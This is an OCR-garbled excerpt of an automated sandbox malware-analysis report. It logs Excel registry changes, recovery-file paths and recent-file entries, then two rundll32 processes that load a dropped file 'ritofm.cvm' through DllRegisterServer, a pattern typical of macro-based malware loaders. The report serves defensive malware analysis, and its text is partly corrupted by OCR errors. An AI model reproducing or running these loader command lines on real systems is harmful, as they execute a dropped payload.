00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic {n2 binary 7B 6E 32 00 88 02 00 00 02 00 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 5C 00 00 00 01 00 00 00 2C 00

00 00 24 00 00 00 64 00 69 00 61 00 67

00 72 00 61 00 6D 00 2D 00 34 00 31 00

39 00 30 00 36 00 35 00 35 00 39 00 37

00 2E 00 78 00 6C 00 73 00 00 00 64 00

69 00 61 00 67 00 72 00 61 00 6D 00 2D

00 34 00 31 00 39 00 30 00 36 00 35 00

3500 39 00 37 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic 11169C binary 04 00 00 00 88 02 00 00 2A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\11169C 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 46 B7
C907F247D7019C 16 11 00 9C 16
11 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8416751812.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3580751004.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5367203117.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\112617

Key Path Name

Name

112617

Type

Type

binary

Old Data

Data

04 00 00 00 88 02 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 46 B7
C907F247D7011726110017 2611
00 00 00 00 00 B8 02 00 00 56 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

New Data

Completion

success or wait

Completion

Source

Count Address Symbol

1

7FEEAC59ACO unknown

Source
Count Address Symbol

Analysis Process: rundll32.exe PID: 1984 Parent PID: 648

General

Start time:
Start date:
Path:

Copyright Joe Security LLC 2021

05:15:49
13/05/2021
C:\Windows\System32\rundll32.exe
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Wow64 process (32bit): false

Commandline: rundll32 ..\ritofm.cvm,DIIRegisterServer
Imagebase: 0xff290000

File size: 45568 bytes

MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2672 Parent PID: 648
General
Start time: 05:15:50
Start date: 13/05/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: rundll32 ..\ritofm.cvm1,DIIRegisterServer
Imagebase: 0xff290000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol

Disassembly

Code Analysis
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